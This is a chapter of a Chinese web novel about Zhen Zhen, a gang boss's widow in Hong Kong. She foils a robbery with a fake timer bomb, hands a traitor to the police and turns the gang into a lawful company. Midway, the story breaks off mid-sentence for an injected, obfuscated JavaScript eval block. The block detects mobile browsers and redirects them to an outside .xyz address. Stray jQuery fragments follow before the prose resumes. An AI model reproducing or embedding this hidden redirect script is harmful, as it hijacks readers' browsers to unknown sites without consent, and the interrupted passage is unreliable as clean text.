蒙面劫匪骇然失色,再顾不得捡地上的家伙,转头钻进车里,一溜烟地开走了两辆车。
举着箱子的那位已经两脚发颤,想扔又不敢,别扭地转头去找甄真。
“怎么办?我要怎么做?这东西才会停?”
“别动就对了。”
金牙炳见只有两个劫匪了,立刻下车看住这个。
甄真还用刀顶着个人,那人也不安分,手几次想伸进兜里,都没得逞。
七八个劫匪,她都觉得不在话下,主要是这些人手里拿着木仓,她有所忌惮,这才吓那群人走了。
她的刀猛地往男人头上划去,一直没出声阿彪吃痛地嚎了出来。
“破点皮也这么痛?还是个男人嘛?”
她没好气地揭开阿彪的头套,再一脚把人蹬在地上,踩着他的双手。
阿彪额前的伤口冒出细小的血珠,五官皱在一起,抬头望着居高临下的女人。
她抱着手臂,冷嗤:“阿彪,我给过你机会了。”
金牙炳看见阿彪的脸,顿时脸色变得极为难看。
“阿彪,你吃里扒外,兄弟们的钱,你也来抢?”
“你不妨问问他,龙虎帮的人怎么知道我住哪里的,大威哥是怎么死的。”甄真蹲下来,小钢刀在阿彪的脸擦了几下,“这些事,你和兄弟们去说吧。”
“哦,顺便还和警官们交代一下。”
金牙炳绑了阿彪,塞进后备箱。
甄真把提着箱子那人的头套也摘了,那劫匪已经两眼绯红,面色噶白。
“死扑街,一个个地吃里扒外!”
金牙炳认得这也是振威的兄弟,今天早上带出来的那几个中的一个。
只是他们早上只带了四个人,多出来的那几个又是什么人?
被吓得腿软的劫匪支支吾吾地交代:“还有几个是龙虎帮的人。”
“叼你老母,阿彪还真的投靠了狂龙?”
“我不知道啊,不关我事,我是被逼的!”
他手上发颤,已经拿不稳箱子。
甄真轻巧地接过箱子,这个操作看傻了金牙炳和劫匪。
“快逃啊!”
劫匪兄弟跑得像飞毛腿,根本没听到甄真青轻描淡写地说:“什么都没有,就是个计时器。”
金牙炳看到打开的皮箱,噗嗤笑出来。
里面塞满了冥币,中间捆绑着一个嘟嘟响着的定时器。
“钱呢?”他恍然大悟,“哦,钱在廷仔那?”
“真聪明。”
司机大哥看了场好戏,从惊魂不定中回过神,对后座的这个女人刮目相看。
一路风驰电掣地,很快回到龙凤楼。
下车时,司机自报家门:“靓女,女侠,我叫阿发,以后要叫的士,找我啊。”
“车牌5688.”
甄真也乐得交这个朋友,说记住了。
阿彪被金牙炳推到龙凤楼,绑在厅中的大柱子上。
敞开着的大门被关上,大厅里挤满了兄弟。
宋绍廷已经备好了纸笔,黑色皮箱放在台子上,甄真坐到了台子后面。
不用她说,兄弟们已经知道刚才发生的事。
甄真直入正题:“今天是来清理门户的。”
“先点名吧,没来的,从今天开始自动从振威出名。”
金牙炳让阿强点名,下面鸦雀无声。
很快点完名,四个人没来,他们从名单上勾去。
甄真继续说:“除了这几个人,你们现在都是振威的兄弟,至少此刻都是。”
“我有言在先,想留下的,我欢迎,只是以后振威不再是社团,而是正经的生意人,守法市民,拿到的每一分钱都合法。”
“你们不需要再打打杀杀,不需要整天提心吊胆被警察追。”
“我不强迫,想留下的站到左边,不想留下的站右边。”
“先申明,振威有三不要,不要赌鬼,不要追龙的,也不要没义气的,你们自觉一点,走或者留,你们自己决定。”
“站右边的兄弟拿一笔遣散费,每人一万,这笔钱不多,算个心意,留下的人从下个月开始拿工资,工资底薪5000,每月有分红,绝对不会亏待你们。”
此时,港城的平均工资不过3到5千,底层的工人很多还拿不到三千块,听到每月能拿到这个数,不少人低声嘀咕是不是真的。
“不过,你们记住,留下的人绝对不能有恶习,比如追龙,一旦被发现,立刻逐出振威。”
金牙炳内心振动,不知道这个女人能不能实现诺言,可想到她对付阿彪的手段,又不得不信服。
他挥挥手:“大嫂仁义,把大威哥留下的钱分给大家,跟着她,没错,我选留下。”
看到金牙炳如此,振威五虎全都说留下,阿豪有一丝迟疑,最后还是选择留下。
下面的兄弟纷纷站到左边,不过也有部分人站到右边。
甄真心中是有些忐忑的,四百多人,如果全都选择离开,这一百万现金可就不够看了。
好在振威这个小帮派的人心很齐,最后离开的不到一百人。
他们一个个上前领钱,签字,最后走的人不到一百个,振威还留下近四百号人。
甄真默默在心中的记账簿算了一下,原始启动资金还有五百多万,足够在港城好好干一番了。
而阿彪自然是交给警署。
今天前来领人的警官居然是于Sir。
他看到现场盛况,多问了一句:“你们在发钱?”
宋绍廷抬眼注视这位英姿勃发的警官,见他正微笑望着大嫂,眉心微不可见地皱了皱。
甄真觉得这个时候和警署打好关系太重要了,热情地介绍:“没错,发的遣散费。”
“遣散?”
“以后我们是振威商贸公司,可不再是以前的振威了。”她笑着和于Sir讲述自己的改造计划,“总之,我们以后靠自己双手赚钱,还望警署和港府多多支持啊。”
城寨和帮会一直是港府心腹大患,振威这么大个帮派突然改道,是警署最乐意听到的事,于Sir当下更有兴趣了,邀请她改日详谈。
甄真满口答应。
做个合法商人,政府支持非常重要,政策红利会让你吃的停不下来。
*
这么一番折腾下来,龙凤楼的大门重新打开,兄弟们鱼贯而出。
振威六虎成了五虎,大家有瞬间的沉默。
小辣椒何敏倚着门框,虽然没提走人,但是满心满眼地看不惯甄真。
“你说做正经生意,你能做什么正经生意?”她故意挑刺,冷嗤,“一个北妹,人生地不熟,你能干什么?”
甄真微微抬眸瞥了她一眼,没什么兴趣拌嘴,轻描淡写:“我能干什么,走着瞧呗。”
“你又能干什么?”
小辣椒被怼得哑口无言。
说起这个,她真准备好好想两天,写个计划书。
四百号人的振威是艘大船,大船在海面掉头不容易。
这个年代是港城起飞的时代,寸土寸金,也要做到点子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929130|177180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
何敏偏偏说到气头上,不愿意放过她。
她转身出门拉了几个在街上徘徊的姐妹,把这几个人推到甄真面前,手指向她鼻子,“来,给你看看,我们这些姐妹,以后你准备让她们做什么?”
“她们没有学历,没有背景,唯一会做的事情是跳舞,卖笑,就靠着龙凤楼的顶楼赚钱,每晚能入几万块。”
“你那几千块的底薪,打发谁呢?”
“为什么放着这么赚钱的行当不做……”
金牙炳皱皱眉,试图缓和气氛:“小辣椒,别过分。”
“别拦我。”看到甄真沉默,她愈发过分,为自己的说法自得,“振威帮也不做伤天害理的事,大威哥不准人碰白、粉药丸这些,只让开堵桌,让姐妹们跳跳舞,来钱快,大家都开心……”
“是么?”甄真欣赏够了何敏的表演,轻轻笑,视线看向那几个妆容艳丽,衣着暴露的漂亮女人,“你们叫什么,报个名字。”
几个女人互相看看,不情不愿地报了名字。
她盯着她们,“都是跳舞的?”
舞女们没说话。
她继续问:“报个三围,身高,体重。”
“廷仔,登记一下。”
舞女们不解,不知道她要做什么,迟疑地挤在一堆。
何敏替她们说话:“你又要干什么?”
“替她们做几套衣服。”
“?”
甄真笑:“小辣椒,你说她们都热衷跳脱衣舞,热衷卖笑,这样吧,今天给我们来一段。”
“平时你们在顶楼怎么跳,现在就怎么跳。”
现场人不多,在场的男人只有振威五虎和一个高中生宋绍廷,都是熟人。
这几个男人听到脱衣舞,隐隐的兴奋后又有几分尴尬。
谁家好人能在大庭广众,光天化日之下看脱衣舞,不尴尬的?
还当着大嫂的面。
宋绍廷提了下眉,很快沉静地低头翻开一页白纸,拿笔准备记录舞女们的尺寸。
小辣椒和舞女们也尴尬了一瞬。
她脱口而出:“痴线啊。”
“哪有女人看脱衣舞的。”
“怎么就不能看了?女人能跳,女人不能看?”甄真的眼神从奚落瞬间化成锐利的刀锋刮过去,“小辣椒,你也是女人,真的想整天在台上扭来扭去,卖笑,卖身体?”
舞女们脸色难看,小辣椒被噎得半句话不敢说。
“如果是大家所愿,正经艺术,有什么不能关明正大的表演呢?”
“大剧院的戏,电影,天天播的电视剧,谁都能看,那才是正常的。”
“你们躲在顶楼,每晚三更半夜才出来,脱衣给那些追求刺激的男人看,真的心甘情愿?”
“每个月几万块,拿的都开心?有时候要不要受点男人的咸猪手,或者男人的特殊癖好?”
舞女们的脸色越来越难堪。
有个个子特别高的女人怒极冷笑:“你装什么清高,你不过是被大威哥看中,飞上枝头变凤凰,以前也是只野鸡。”
阿豪过去就是一巴掌,把女人打的嘴歪到一边。
甄真愣了下,不为这个女人的咒骂,而是阿豪的惩罚。
她沉声:“阿豪!住手。”
甄真打量这个女人,身形很漂亮,身高至少175,全身上下没有多余的赘肉,纤腰,长腿,那张脸也棱角分明,很有辨识度。
是个有脾气的女人。
还有点面熟。
“你叫什么?”她问。